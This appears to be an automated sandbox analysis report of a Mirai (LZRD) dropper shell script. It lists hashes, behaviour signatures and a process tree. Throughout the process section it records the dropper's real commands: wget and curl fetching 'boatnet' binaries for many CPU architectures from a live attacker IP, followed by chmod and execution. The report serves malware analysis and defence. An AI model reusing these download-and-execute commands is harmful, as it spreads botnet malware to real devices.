Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03-01-2025 11:39

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    dfb20882adc5a8a441e05549d24a2888

  • SHA1

    9cad12bea5d7cdf2c78c5a00b308f25923c59218

  • SHA256

    19d701781a24a57e13181d054c7f3a70d3e205ad72be89fd29dcfa3084e5e396

  • SHA512

    63ff945d55e5560f99d75c99656b03d1ef70a50900c3c8fcb93fa13d63540c11ba14585c78c202ace742fc924f75f01c4acf43141ff1f1f700ad10c8d72f4bb2

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1506
    • /usr/bin/wget
      wget http://154.216.18.23/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1507
    • /usr/bin/curl
      curl -O http://154.216.18.23/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1509
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1513
      • /bin/chmod
        chmod +x boatnet.x86 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-bolt.service-lYyowF systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1514
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1515
      • /usr/bin/wget
        wget http://154.216.18.23/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1519
      • /usr/bin/curl
        curl -O http://154.216.18.23/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1520
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-bolt.service-lYyowF systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1522
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1523
      • /usr/bin/wget
        wget http://154.216.18.23/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1527
      • /usr/bin/curl
        curl -O http://154.216.18.23/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1528
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-bolt.service-lYyowF systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1530
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1531
      • /usr/bin/wget
        wget http://154.216.18.23/hiddenbin/boatnet.i468
        2⤵
          PID:1535
        • /usr/bin/curl
          curl -O http://154.216.18.23/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1536
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-bolt.service-lYyowF systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1538
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1539
        • /usr/bin/wget
          wget http://154.216.18.23/hiddenbin/boatnet.i686
          2⤵
            PID:1543
          • /usr/bin/curl
            curl -O http://154.216.18.23/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1544
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-bolt.service-lYyowF systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1546
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1547
          • /usr/bin/wget
            wget http://154.216.18.23/hiddenbin/boatnet.x86_64
            2⤵
              PID:1551
            • /usr/bin/curl
              curl -O http://154.216.18.23/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1552
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-bolt.service-lYyowF systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1554
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1555
            • /usr/bin/wget
              wget http://154.216.18.23/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1559
            • /usr/bin/curl
              curl -O http://154.216.18.23/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1560
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-bolt.service-lYyowF systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1562
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1563
            • /usr/bin/wget
              wget http://154.216.18.23/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1567
            • /usr/bin/curl
              curl -O http://154.216.18.23/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1568
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-bolt.service-lYyowF systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1570
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1571
            • /usr/bin/wget
              wget http://154.216.18.23/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1575
            • /usr/bin/curl
              curl -O http://154.216.18.23/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1576
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-bolt.service-lYyowF systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1578
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1579
            • /usr/bin/wget
              wget http://154.216.18.23/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1583
            • /usr/bin/curl
              curl -O http://154.216.18.23/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1584
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-bolt.service-lYyowF systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1586
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1587
            • /usr/bin/wget
              wget http://154.216.18.23/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1591
            • /usr/bin/curl
              curl -O http://154.216.18.23/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1592
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1596
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1597
            • /usr/bin/wget
              wget http://154.216.18.23/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1601
            • /usr/bin/curl
              curl -O http://154.216.18.23/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1606
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1610
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1611
            • /usr/bin/wget
              wget http://154.216.18.23/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1615
            • /usr/bin/curl
              curl -O http://154.216.18.23/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1620
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1624
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1625
            • /usr/bin/wget
              wget http://154.216.18.23/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1629
            • /usr/bin/curl
              curl -O http://154.216.18.23/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1636
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1644
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1645
            • /usr/bin/wget
              wget http://154.216.18.23/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1649
            • /usr/bin/curl
              curl -O http://154.216.18.23/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1654
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-ESwDdV netplan_1iwncm7z ohshit.sh snap-private-tmp ssh-GMXqXanC5C0k systemd-private-1020e78908244756830a6344ed1599c8-colord.service-J3gw7N systemd-private-1020e78908244756830a6344ed1599c8-ModemManager.service-zJco20 systemd-private-1020e78908244756830a6344ed1599c8-systemd-resolved.service-9XdSFd systemd-private-1020e78908244756830a6344ed1599c8-systemd-timedated.service-9BSNem WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1658
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1659

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            28KB

            MD5

            eae146a902f2fe0cfaf85240434db7c6

            SHA1

            f0d8349f832c17eafbc17adb648a5f104b008309

            SHA256

            b48028f95d683e1dd1ab7b71f8d18c0b0ae27eecb13535fa846cb4b8be455610

            SHA512

            4ec3bc79b2592f517cc42c4990e725d6ccc8e14b9b69f26de0cee032d7872f1956c3e6f9821cc95cbef4a768151b924cc2bab07e42b89e353ef6bea0afc65e40